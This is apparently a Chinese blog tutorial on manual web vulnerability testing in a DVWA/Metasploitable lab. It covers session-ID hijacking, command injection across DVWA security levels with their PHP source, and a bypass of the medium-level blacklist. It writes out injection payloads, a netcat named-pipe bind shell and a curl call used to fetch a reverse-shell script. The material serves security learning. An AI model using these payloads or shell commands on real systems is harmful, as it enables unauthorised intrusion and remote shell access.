1. 程式人生 > >Kali學習筆記30:手動Web漏洞挖掘(2)

Kali學習筆記30:手動Web漏洞挖掘(2)

文章的格式也許不是很好看,也沒有什麼合理的順序

完全是想到什麼寫一些什麼,但各個方面都涵蓋到了

能耐下心看的朋友歡迎一起學習,大牛和槓精們請繞道

 

實驗環境:

Kali機器:192.168.163.132

Metasploitable靶機:192.168.163.129

 

首先我們要嘗試身份認證(登陸):

就拿DVWA來測試

啟動Burpsuite,訪問DVWA:

假設我們現在不知道這裡的使用者名稱和密碼是多少:

現在我先把密碼故意輸錯:

 

發現DVWA只是告訴我登陸失敗,卻並沒有告訴我哪裡失敗,為什麼會失敗

說明DVWA在身份認證方面還做得不錯,如果是一些沒有安全意識的程式猿,可能會返回密碼錯誤的介面

 

然後我們輸入正確的密碼,用Burp進行比較:

發現返回的結果除了重定向頁面和時間基本一致:說明DVWA做的比較好

 

如果正確和失敗返回的結果有不同之處,那麼我們就可以利用這裡的漏洞來爆破

 

 

但是,如果我們想盡辦法還是登陸不上去呢?

這時候可以想象Cookie方面有沒有可以利用的?

 

如何獲取SessionID:

第一種:XSS,這種後面具體介紹

第二種:通過Get或者Post傳遞的SessionID

做得不好的Web應用,有可能直接把SessionID放在URL上,利用社會工程學獲取後直接就可以利用

稍微有點安全意識的程式猿,會把SessionID利用POST提交,利用嗅探還是可以獲取:

 

示例:

我用Windows機器作為正常的管理員登陸Metasploitable:

登陸之後,我檢視到Cookie裡面的SessionID:

這裡是做演示的,具體的如何獲取SessionID我會在後邊的過程進行演示

 

然後我就可以用這裡的Cookie使Kali機器直接以Windows機器的身份來登陸

可以利用Kali的Firefox的Cookie Manager外掛進行Cookie編輯:

 

 

當然也可以複製出來SessionID,然後我把它組裝好

讓Kali使用Burp傳送

 

 

同時:我們需要更仔細地關注SessionID,它的有效時間,規律等

比如:

點選logout後,sessionID是否會消失

關閉瀏覽器,sessionID是永久小時還是隻改變了狀態

 

然而SessionID其實本質是演算法生成的,那麼我們就可以使用Burp的Sequence模組來測試

我前面的文章就有提到過,然後就可以針對來生成下一個SessionID,從而做很多的事情

 

下面,假設我們已經登陸進入了目標:

接下來就可以用我前面文章中寫到的一些自動化掃描工具進行Web漏洞掃描

或者繼續進行手動挖掘:

 

 

下面來看第一種漏洞:

命令執行:

我先把DVWA的安全性調到最低

這裡有一個應用:輸入一個IP地址,Ping目標,返回結果

 

我先演示下這裡的漏洞,下面具體說:

我嘗試輸入ls命令:沒有反應

 

那麼ls加入分號呢?

結果執行了ls命令

 

我用Burp來對比兩次的請求:

傳送請求的時候對分號進行了URL編碼

 

那麼,我們如何去發現命令執行漏洞呢?

首先,我們要了解很多的常見漏洞型別

當有一個可以提交資料的表單時候,就要聯想到是否有可能發現能夠利用的漏洞?

 

就比如說是這裡:

呼叫作業系統Ping命令而且要返回值,我想到如果用PHP實現比較複雜

那麼有可能是目標直接條用系統命令嗎?如果是偷懶的程式猿有可能會直接來呼叫系統命令

首先我輸入正常的IP,看看結果:

返回值竟然和系統直接Ping命令格式一致

 

於是我更進一步可以確認,這裡很有可能有命令執行漏洞

首先嚐試直接ls命令,上邊嘗試了,但是沒有結果

那我為什麼後邊又加入了;呢?

然後結合Linux系統的知識:如果想一次執行多條命令,可以使用;或者|

 

於是,我考慮加入“;”之後再輸入命令:果然

 

實際中如果發現了這種漏洞,就可以用Burp傳送提權命令等等

檢視原始碼:

 <?php

if( isset( $_POST[ 'submit' ] ) ) {

    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) { 
    
        $cmd = shell_exec( 'ping  ' . $target );
        echo '<pre>'.$cmd.'</pre>';
        
    } else { 
    
        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        echo '<pre>'.$cmd.'</pre>';
        
    }
    
}
?> 

簡單分析:獲取的變數直接給Target複製,然後執行系統命令,存在漏洞

 

 

接下來把DVWA的安全性調到中:

這時候如果輸入;ls或者&&符號時候,並不會執行系統命令

檢視原始碼:

 <?php

if( isset( $_POST[ 'submit'] ) ) {

    $target = $_REQUEST[ 'ip' ];

    // Remove any of the charactars in the array (blacklist).
    $substitutions = array(
        '&&' => '',
        ';' => '',
    );

    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) { 
    
        $cmd = shell_exec( 'ping  ' . $target );
        echo '<pre>'.$cmd.'</pre>';
        
    } else { 
    
        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        echo '<pre>'.$cmd.'</pre>';
        
    }
}

?> 

 

仔細觀察後發現原來是把“;”和“&&”特殊符號都變成空字元了(&&表示前一個命令執行成功後執行後一個命令)

然而對嗎漏掉了|這個符號,如果輸入|ls還是可以的

 

或者使用一個&,Linux中使用一個&代表兩條命令一起執行:

127.0.0.1 & ls

 

或者使用兩個|,即||,也可以作到,不過需要前一個命令執行失敗,再執行後一個命令:

 

 

那麼將DVWA高安全級別呢?

嘗試了各種各樣的字元後發現還是沒有漏洞

檢視原始碼:

<?php

if( isset( $_POST[ 'submit' ] ) ) {

    $target = $_REQUEST["ip"];
    
    $target = stripslashes( $target );
    
    
    // Split the IP into 4 octects
    $octet = explode(".", $target);
    
    // Check IF each octet is an integer
    if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4)  ) {
    
    // If all 4 octets are int's put the IP back together.
    $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
    
    
        // Determine OS and execute the ping command.
        if (stristr(php_uname('s'), 'Windows NT')) { 
    
            $cmd = shell_exec( 'ping  ' . $target );
            echo '<pre>'.$cmd.'</pre>';
        
        } else { 
    
            $cmd = shell_exec( 'ping  -c 3 ' . $target );
            echo '<pre>'.$cmd.'</pre>';
        
        }
    
    }
    
    else {
        echo '<pre>ERROR: You have entered an invalid IP</pre>';
    }
    
    
}

?> 

 

它這裡是如何判斷的呢?

收到的資料然後進行拆分,拆分後四個部分如果是數字,再進行組合,生成一個IP

就算了系統命令用.來分割,但是由於不是數字,不會重組

 

所以調整到高安全級別基本就是安全的一個應用了

 

回到剛才在低安全級別下的狀態:

我已經找到這裡有命令執行的漏洞了

那麼怎麼做進一步的操作呢?

比如:開啟

mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe

 

輸入後使用nc連線:得到shell

 

但是注意:這裡獲得的許可權不是root

 

最後看一個有趣的現象:

本意:

把Kali系統的反連Shell指令碼複製到Apache伺服器,重新命名為1.php,是目標訪問1.php從而獲得shell

 

對反連shell進行編輯:設定號反連的IP,比如這裡我設定的是Kali機器

 

然後啟動Apache服務:

 

這時候命令執行的表單填寫內容:

;curl http://192.168.163.132/1.php

 

提交前nc監聽埠,點選按鈕,然後獲取shell:

 

結果我仔細觀察後發現獲取的是我Kali本機的shell!!

 

原因:

1.php本質是存在於Kali機器的,所以訪問1.php就會讓Kali機器把shell發出,再讓本機收到shell

上一篇中我把1.php的內容複製出來,用Burp傳送出去,1.php的內容是在目標機器上執行的,與這種情況不一樣

 

所以要注意:

反連shell指令碼在哪個機器就會反彈哪個機器的shell